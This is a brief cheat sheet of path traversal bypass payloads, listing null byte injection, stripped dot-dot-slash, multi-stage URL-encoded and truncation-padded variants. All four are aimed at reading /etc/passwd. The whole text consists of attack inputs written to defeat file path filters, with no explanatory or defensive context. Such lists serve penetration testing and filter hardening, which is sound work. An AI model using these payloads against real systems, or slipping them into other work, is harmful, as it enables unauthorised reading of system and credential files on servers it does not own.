Path Traversal Bypasses
Null Byte Injection
../../../etc/./passwd%00.png
Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd
Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd
Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././